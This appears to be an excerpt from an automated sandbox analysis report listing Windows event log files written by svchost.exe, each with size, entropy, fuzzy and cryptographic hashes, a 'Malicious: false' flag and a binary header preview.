MD5:	5AFB3CF578AC5963E4479BE8BD4BC0B5
SHA1:	7C6E6F21DB6AA8A5130ACA41B04CC7085396C1B7
SHA-256:	3B69505E8A2F8C93AA8852F723128994F745238A051303D2939C304CEB2BB5FB
SHA-512:	D89C9BF5C097FE24AA78B8E376E9B554338C779945EF879AC7ADD68B8411796A90871368D39AD152E254D6A96B6D8D117D44FD23E5702C58F5FD720D501FF3E3
Malicious:	false
Preview:	ElfChnk.....................................0..........0.....................................................................P..................l...........................=...........................................................................................................................f...............?...........................m...................M...F.......................E................................M..&...g`..g5......................o]...........X...Z..GP...............s......od......_i..**..P............%.o..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-ReadyBoost%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7590316238843728
Encrypted:	false
SSDEEP:	384:IhP8o8Z85848V8M8g8D8R8E8T8h8p8TtP8sU8:Ic
MD5:	B074238315662886E2BD70106D08A747
SHA1:	5ADA158D19401565E76349FCA97489E9FB9BFA36
SHA-256:	53770508DCDA0199A75458B5A10DC8FD2E49A4CFD0FC001C16D56F3B567AB71C
SHA-512:	9D35DC04CCE95541551254BCBB00B0E2E0860D9B6F69D40FBC829DA31FC3AC43690A049A432BA4D43315B80675143A6AA02C57484E7903845010A5AD9EC92D6D
Malicious:	false
Preview:	ElfChnk.........................................0!....H.......................................................................j........................................V...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&.......................................................................................**..(.............................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.7512368716528823
Encrypted:	false
SSDEEP:	1536:vXh2UyS+z1VV18o838c8bUc8cVVsz8VX8SoX8aA8cmtpjAiVB18dwE4vjcYoMjn1:vXMnS
MD5:	B5FADEDA536BD6E6A03C7F975A21572B
SHA1:	0DC37B9C1E6A26BF38344B8CCE131AC59B3346F6
SHA-256:	B7EDD2A7DE4DC633E9A3ADB5981CDEF9FDF57C776C7B351CA027A7AD47C69F2D
SHA-512:	B8D902679920055358F2DE1F6DEEB805A015FD29EAF34B8A84664CBD9B8332B3B2DA790FC683223C370B3F014C29B0196E4BC7C1CD29619C0C4A1EA306D5EAC0
Malicious:	false
Preview:	ElfChnk.........%...............%............E..`G..z.~.....................................................................Q;R................v...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...................................................&B..........O.......................**..............g5...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SMBServer%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.3069197485541766
Encrypted:	false
SSDEEP:	768:S0VsLY/Z5aFka2aKazzabCafama5Sa0ra6rzaJcavkao9O0apPaQOan6qa6IvV1:ycEu
MD5:	E6E4C860CE7DD1BB499D6A082B461B90
SHA1:	11330861B23B1D29D777D9BD10619A07B6A6A9C0
SHA-256:	C27431D9C64F5C9D323E2B4ED5F44781969B34F30DC4280296A329DCD6509D44
SHA-512:	7393A0FF290BB3DB07E8BB9A9FA7B666CD8B686CBDAA3FED2EBD704D6E88A4D5768D104BD768E6AA533C42588C661A863E11ED9146ABD7386A2A9B4F84583406
Malicious:	false
Preview:	ElfChnk.........;...............;............r..@t...H......................................................................p"..................Q...........................=...........................................................a...............................................................f...............?...2...........................................M...F......................................&........................................................................l..............]...................*.............._.............X..&.......X...],T.'tB..E........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	2680
Entropy (8bit):	3.8680761366447016
Encrypted:	false
SSDEEP:	48:MfcApWf7CKOrCK3QbB69DVusxCKOrCK3QbkcqrAFCKOrCK3Qbkcqr5Ju:zCKOrCKgl69DV/CKOrCKgbkcGAFCKOr6
MD5:	C5D59BC570D1E9B2DBF058075876821A
SHA1:	EDDA8B2CEFFD1C2959DB4E22F9F95A6BF366600C
SHA-256:	8E2F53176BB44E245BD54A047A9B55B56CC0A48A774982157828BEF36E7487ED
SHA-512:	18A7664826C32591EFA011F065858E0747F170248F55895A43437386AF58C8CDFEA7231F3CF04E413AFA036466CAAB32C60581616DEF5A9421025569E4511C0C
Malicious:	false
Preview:	ElfChnk.........&...............&...........0...0....%b.......................................................................,,................T.......................\|...=...........................................................................................................................f...............?...........................m...................M...F.......................................-...'...............&.......................................................................................**......$........H.G."............................................................................L.......b.....!..................H.G."..@..^<.....fX........<...$....................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.S.e.c.u.r.i.t.y.-.M.i.t.i.g.a.t.i.o.n.s........J...M..<.M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.S.e.c.u.r.i.t.y.-.M.i.t.i.g.a.t.i.o.n.s./.K.e.r.n.e.l.M.o.d.e...!..^'...........h.......>...................................4.\.D.e.v.i.c.e.\.H.a.r.d.d.i.s.k.V.o.l.u.m.e.3.\.W.i

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SettingSync%4Debug.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.2909571978750325
Encrypted:	false
SSDEEP:	384:Ny2/hDGCyCkCzCRCFCNClCuC6CoC9rC6CdCsCvCkxCkC5CCCWCxCIC/CbCFC5CkG:Ny2/dm1sR
MD5:	B0BF4D9EC91ABBDA5D328631B125A5C0
SHA1:	E672D69127AE7C1A51046ADAA911871EC0C10ABB
SHA-256:	8DBE6F5B80B3D973BBF1177BCCAA690B9F90FC99DC358B7DE66175317C733501
SHA-512:	3132E1FCC5C8F88BD974465EA1E644CA89C2D9E041E49F8A1F48B9ACB3376F0A1042F5CB6FDFC6BE2934C4483312C35539D64DB25B892388604F9F637074BCBD
Malicious:	false
Preview:	ElfChnk.U.......~.......U.......~....................}/.....................................................................@..................F.......................n...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&....................................................v..................................**..0...U.........Df..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Shell-Core%4AppDefaults.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.488768580471203
Encrypted:	false
SSDEEP:	1536:Q9YcieRoUlafdbkKKMAQ2SomvXCQv/2ketsvQPh8YzSJoh2VgPIEF6uq9GgCVRlW:Q9YcieRoUlaFbkKKMAQ2SomvXCM/2keU
MD5:	E3FB1708C64D250E4D801AFB8688DF35
SHA1:	8B889F0358683733257411E451A86E3A1D42159D
SHA-256:	0B62FDD9A57B1809D79561AE64BE30DD7430815D6954A5E3DF90E29E1B2E6C72
SHA-512:	2F5CC514B180A39E5961452A594FE5384A6369CBCB7A1CEBAC37948770A6CB999A2E2F26A32240058D5D7A335904DAF40C88F1C096D8F85907F23E9B32E79ABE
Malicious:	false
Preview:	ElfChnk.........$...............$.....................w.........................................................................................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...................................................V...................................**................o...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Shell-Core%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	70808
Entropy (8bit):	4.497075499963553
Encrypted:	false
SSDEEP:	1536:nioR9gj+uocwfe+/cRFkL1TWX0gkB/J7oasEfyk2/vKlqRi/PgTZSXwyvy8fJpf/:nioRij+uocwfe+/cRFkL1TWX0gkB/J73
MD5:	D4376C1BFB4A38275CBD19A48A234116
SHA1:	4F6ADF4E1DD59A433C56E2911F424D370B32669F
SHA-256:	00309B31893B103222EE7BBCDF6710E45F0B05354F149E36DE0A5B15A84E247C
SHA-512:	548604ADA18D3493DA2CD682B81F3BD75C3297956D3E99926EC3A3B1C4A1C8D68CAE5AFA0ADAB563C4D201E39037F5EC48DA52BE47B5818F9C9C193235F82E2F
Malicious:	false
Preview:	ElfChnk.>...............>...........................6.>......................................................................]@M................0.......................X...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................A...............&...i.......~........................x.............k...............&...............................................................8.......P.....!....nqm......... ..k.......&O....2.'O.....................................$.N......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.S.h.e.l.l.-.C.o.r.e..n30'.\|D..Q.R.a.M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.S.h.e.l.l.-.C.o.r.e./.O.p.e.r.a.t.i.o.n.a.l......L.~.........n30'x.....(.............m...............&...............................................................8.......P.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-ShellCommon-StartLayoutPopulation%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	66976
Entropy (8bit):	4.4769412411971805
Encrypted:	false
SSDEEP:	384:t7o7lhN7s7o787l7r787a7J7z7+7N17g7N7o7g7gY7hZ7D7k7F7r7wm7NP7Y7+7I:I9LuCg
MD5:	C5B9E1F8C181432D83C42A4DEECA4583
SHA1:	2631DD53058A2A34B4553F7230140CEFA41C6E2B
SHA-256:	AD63AF2FA836EBB902DCD4DF06D1E210689DB147F2CF83FDC7934368D4586AEA
SHA-512:	3B7F1B2B10A110123AF94BFBBA8C4D38283B89D1250FADF4B2BF2768B09035571376F30BBFB4A415C44FFD3BBD14F1B675CB8540A19EE363397315B8E53D169D
Malicious:	false
Preview:	ElfChnk.Y.......g.......Y.......g............%...&...L......................................................................>.w.............................................=...........................................................................................................................f...............?...........................m...................M...F...........................................=...............&...............................................................s.............................f.......+...............................................................................f.......~.....!.....z..........@+.....0.Y...........x.......f........................$.N......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.S.h.e.l.l.C.o.m.m.o.n.-.S.t.a.r.t.L.a.y.o.u.t.P.o.p.u.l.a.t.i.o.n.B.....K..p...1.M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.S.h.e.l.l.C.o.m.m.o.n.-.S.t.a.r.t.L.a.y.o.u.t.P.o.p.u.l.a.t.i.o.n./.O.p.e.r.a.t.i.o.n.a.l......Ls....................g...............

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SmbClient%4Connectivity.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.1499045494600955
Encrypted:	false
SSDEEP:	384:Dhc+uaNuru+uhuKVuPJu5u9u4ufuTuxuDuvuDuOuXumui+udutui4uTAuFuauind:D6Ovc0S5UyEeDgLslstY
MD5:	2045FB0D54CA8F456B545859B9F9B0A8
SHA1:	35854F87588C367DE32A3931E01BC71535E3F400
SHA-256:	E4305D5E1125E185F25AABA6FF9E32DE70B4EFD7264FE5A0C7C2EF3C33989C45
SHA-512:	013CAC4CBF67C9AB5D2A07E771BAF81950E5A256F379E3C2E26CC9E8E47379579470CC6FD56E93B31C4D17935713D1FC6026307427D77CBE9647139E3D73AC47
Malicious:	false
Preview:	ElfChnk.........;...............;...........xk...m...+.....................................................................F.~.................,.......................T...=...........................................................................................................................f...............?...........................m...................M...F...........................&...................................................................................6f..w...............................**...............&3..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SmbClient%4Security.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8164696340947971
Encrypted:	false
SSDEEP:	384:jhGuZumutu4uEu5uOuDuyb2uPu1uRu3uGuHu9/u:jr
MD5:	1AB19FA472669F4334C7A9D44E94E1B3
SHA1:	F71C16706CFA9930045C9A888FDB3EF46CACC5BC
SHA-256:	549D89A256E3C71AFCBF551EC9BEDBDB3CF2DC74B4F8C214FDC1D270FB731F6E
SHA-512:	72F1F20CB1F2984B318E4A2AAEE11D573441A77D04C0577D24E19F89E85F1691CB29EF569BD25EBBBD313C7B9DB945DB43D52EEFC2EF33E7BEECDFB8E0BBC404
Malicious:	false
Preview:	ElfChnk...................................... ..x$../..........................................................................<................$.......................L...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&....................................................!..................................**..............Wy.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-StateRepository%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9855903635327656
Encrypted:	false
SSDEEP:	384:cxNhPALAb/A0D6AKAlAfyVAQhAQueA4AIAwA0AYAwA+/AfAjrA3DA:cxN90yzXd
MD5:	7BCA54AC75C7185ADFBB42B1A84F86E3
SHA1:	AD91EE55A6F9F77AD871ACA9A5B59987CA679968
SHA-256:	A43B1365211A968B4EC3F9EC7489D05AD9EED30D3EE0CCD89860D20DFE1914D4
SHA-512:	79A04DCE951528E09F7580E797E38D58CFC556EFEC032C3E68C701D720E01CBDCA3D4F27C309D50B9096570787A0E62B2C69236D148AC9C216CB13AA05E9619F
Malicious:	false
Preview:	ElfChnk.....................................P+...,...0........................................................................9.................B.......................j...=...........................................................................................................................f...............?...........................m...................M...F...........................U.......................%%......&...................................................>...........................E.......**..............o.m...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storage-Storport%4Health.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.165454452307923
Encrypted:	false
SSDEEP:	384:ghVpIcpBUpBxpBapB3pBEpBZpBKpBV1pBApBppBTSpBcu1pBspBlpBABpB7pB0py:gd+uXvB
MD5:	B6B6F199DA64422984403D7374F32528
SHA1:	980D66401DFCCF96ADDDAF22334A5CE735554E7F
SHA-256:	8F65F81EE28F48B5007E04842ACC9DE20794A59E2759C2F35F7C10730A1EF7BF
SHA-512:	5B0EFBF1C57BACF347790EB5915AFCFDDDDAFA7761D94DF1341C4E79F5B16DA3FAC2C9653C3DC41B80E31EA44AE46F4FC95C6EC0FFA0A0D3C05C69CED6955DE4
Malicious:	false
Preview:	ElfChnk.........'...............'...........P.......H:Z.....................................................................gO.................. .......................H...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&....................................................f..................................**..............m.................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storage-Storport%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.8519554794255333
Encrypted:	false
SSDEEP:	384:WhtbpwV1pIvpLfpvQpw2pQYph15pcApLqBpJxTp0qo8psfp4yp4Rphe3p7PpLWBZ:WwDoh1VqKVvcVU
MD5:	4140628CA3CEC29C0B506CEEBDF684F6
SHA1:	A2B70496C8E91D8E78AA04976B25D850ABAC6E1C
SHA-256:	1823149759A2F1771ACE7B6BE14A0FEFC6F93DD9F81AC1024E6B41C2CCBFD8B0
SHA-512:	779A04771A8E9B2F501FE1251F0D56C5B5988911F6067082D84FF1DBCF5D9281E32DF6CC2C995843EA1FCED748548DC116706E0F738B6510B47C2B3A0EBAA126
Malicious:	false
Preview:	ElfChnk.\...............\.......................0..../........................................................................v.......................................R...=...........................................................................................................................f...............?...........................m...................M...F............................................;..............&...................................i...................................mS..............*..8...\........=..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1642919553794224
Encrypted:	false
SSDEEP:	384:bhwCCRzCaCkClCzCYC/CyCVCGCMCvCNCACCxC/CLCoiC:bKFb
MD5:	D7EECF043241FDB9486580582E208603
SHA1:	045D5672A8E9884B78CD31C52D372375503CBF4F
SHA-256:	6F3BE76FC00FE21C18A904058F2AF850204488187187C9B8C4BF11EAA03EC6C0
SHA-512:	6738CD1D4081AD78CCC1E3E7AC46A394D9AC32906B4688E34DCCBBA42153FB826484C854F42FFF619DC8D50CAE708585B422F3EAA3A0219AAD19DC0962910125
Malicious:	false
Preview:	ElfChnk.....................................02..h6...u'.....................................................................1..................V.......................~...=...........................................................................................................................f...............?...........................m...................M...F...........................&...................................................................................V2............................../...**..p............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Store%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	83616
Entropy (8bit):	4.585093487668882
Encrypted:	false
SSDEEP:	768:qUaIZi8Ns5iLV8gRai8ZijiTEOmGkoeiDpb3u:z+Jao7mce8pq
MD5:	0C535C85799575A063A0669BEB537587
SHA1:	361E927950EC1345568FB77474792A421C43287A
SHA-256:	0D698D6A2701BB7BAD391AD9A5AD745B3E4C3E308779974E63DF5DC73C67FCEE
SHA-512:	1C6D7200241A7EE5863BF6BBE0B37CF56E4CB552F06E4B92B09C8A582C8119A6CF8BE9A438A7FA8DC1196B288D7D0D69CFB0F5F26FA3B3631007DBC91E80C184
Malicious:	false
Preview:	ElfChnk.........................................h ...Y.?......................................................................c.........................................4...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&...................................**..0...........59..............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storsvc%4Diagnostic.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 1 chunks (no. 0 in use), next record no. 15, DIRTY
Category:	dropped
Size (bytes):	79016
Entropy (8bit):	1.819255691788891
Encrypted:	false
SSDEEP:	384:yAhL6UsE0ZUmxUmgDUmSUmKUmgUmlUmB8UmCUmeUmNUmtUmxUm4MUm2hL6UsE0Zm:LY7L5rY7L5
MD5:	BF73715605FAD3276CB70C5624BD0B1A
SHA1:	D90C8D6229F0A16B830E29C2591A14449898934A
SHA-256:	D54B14D736F74395F05F4F738B198A2D45C60E976429CE2891167EF36EB579DA
SHA-512:	4B2DC0ECF4515EC55F3815D53B21B0682EF738ABB69F346D435CA2065292A637A08177A81D8A5E6612FCA991F8EDF539DF83F2963E3D720EDB9C22DB7B01184E
Malicious:	false
Preview:	ElfFile.....................................................................................................................\>.eElfChnk....................................../..(4....5.......................................................................Z................. .......................H...=...........................................................................................................................f...............?...........................m...................M...F...........................&..................................................................................../..................................**..............a...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-TZUtil%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	67776
Entropy (8bit):	0.36719323656603353
Encrypted:	false
SSDEEP:	96:aZKNVaO80oL7/6Fg1ZKNVaO80oL7/6Fg:aZ8V7oiFg1Z8V7oiFg
MD5:	2382D9185464E87639DFB18E9082A8FC
SHA1:	AEB3201FB95233ABBE4D74D336783DE5501319E6
SHA-256:	1A310CA1F2B6D0410B499512EEC0D3AD58AB915454A3F4840BE42B76B359454C
SHA-512:	D36403B946979D9F26D2A866F9D8660CFB9F114684CFBF6C7A87D32C0DB00C4C22BE34732AFB5C6E0ADCBC362E7251C9C26110DF70841CE2F13C5A3DB1B5814F
Malicious:	false
Preview:	ElfChnk..............................................xS......................................................................tJ................. .......................H...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&...................................**..............................&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.6469884746870727
Encrypted:	false
SSDEEP:	384:/hpivNiGiriPiYiriDfiS83i0iGiTiYiUisiuiZi+iTiciUiQiJiUiBi4i/iAixQ:/G7t8H
MD5:	FC81D9FBA555C6BC7223594B8F6B46DE
SHA1:	971F47CFC0E1DCA462928DA2D8BE2B16D5A0629C
SHA-256:	9933922E09C49C5BA80292C4AED9EC9F457031E90B28B421DFFBD2F1BB840671
SHA-512:	7F2705E7526B49F76C5F2A76A88B83FC10591BAD68B451F5C67F841322076D4B408FC515EA59E0919907C73CBBD149AB5B5EE981083A52C9E90EC9FBFAD5254F
Malicious:	false
Preview:	ElfChnk.y...............y................... Q..(S...b.......................................................................t..............................................=.......................#...................................................................................................f...............?.......................P.......................M...F...............................................................................................................VG..................................**......y..........:............g.&.........g....R....uJ.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.402178153425166
Encrypted:	false
SSDEEP:	1536:CNUOQWgSsqQmEGc+IqAW0qIWYSMGEi4y:CNUOQWgSsqQmEGc+IqAW0qIWYSMGEi4y
MD5:	FD4319C5F5AD58EE8C875C61232C9C30
SHA1:	A89CCB7261742E885EDFAAF3C402EFE07F9417A2
SHA-256:	22A641C9CAB573471C4525224CD0E1C7424326A87AAD8A59C326DF55D5639570
SHA-512:	E1B9EF82FB19BCEA59BBF6965848EA92DE83B9F87B36DC5E453787CFF06A78FA6B9CC5B387009C4D4F7A77998B2B8D250337C19DBC830287BF38DE168A76BEF0
Malicious:	false
